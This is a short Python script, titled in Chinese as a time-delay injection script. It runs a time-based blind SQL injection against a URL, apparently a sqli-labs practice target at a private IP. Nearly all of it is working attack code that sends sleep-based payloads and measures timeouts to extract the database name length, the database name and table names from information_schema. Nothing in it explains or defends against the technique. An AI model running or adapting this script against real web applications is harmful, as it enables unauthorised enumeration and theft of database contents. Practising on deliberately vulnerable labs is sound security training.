时间延迟注入 py脚本

import	requests
import	string
url = "http://172.16.88.33/Less-5/"
##url = raw_input("Input url :")
def sql_sleep(url):
	try:
		res = requests.get(url,timeout=3)
		return res.text
	except Exception as e:
		return  "Time out"

db_name_len = 0
while True:
	db_name_len +=1
	db_name_len_url=url+"?id=1'+and+if(length(database())="+str(db_name_len)+",sleep(5),1)--+"
##	print(db_name_len_url)
	if "Time out" in sql_sleep(db_name_len_url):
		print("database_len : ",db_name_len)
		break 
#Payload DB_length
db_name=""
for i in range(1,9):
	
	for j in string.ascii_lowercase:
		db_name_url = url+"?id=1'+and+if(substr(database(),"+str(i)+",1)='"+j+"',sleep(5),1)--+"
	##	print(db_name_url)
		if "Time out" in sql_sleep(db_name_url):
			db_name+=j
			break
print("DB_name : ",db_name)


for i in range (0,4):
	db_table_name=""
	k = 0
	while True:
		k+=1
		for j in string.ascii_lowercase:	
			check_name = True
			db_table_name_url=url+"?id=1'+and+if(left((select table_name from information_schema.tables where table_schema=database() limit "+str(i)+",1),"+str(k)+")='"+db_table_name+j+"',sleep(5),1)--+"
##		print("for 0:"+db_table_name_url)
			if "Time out" in sql_sleep(db_table_name_url):
				check_name=False
				db_table_name+=j
				break
		if check_name:
			print("DB_table_name Table"+str(i)+":",db_table_name)
			break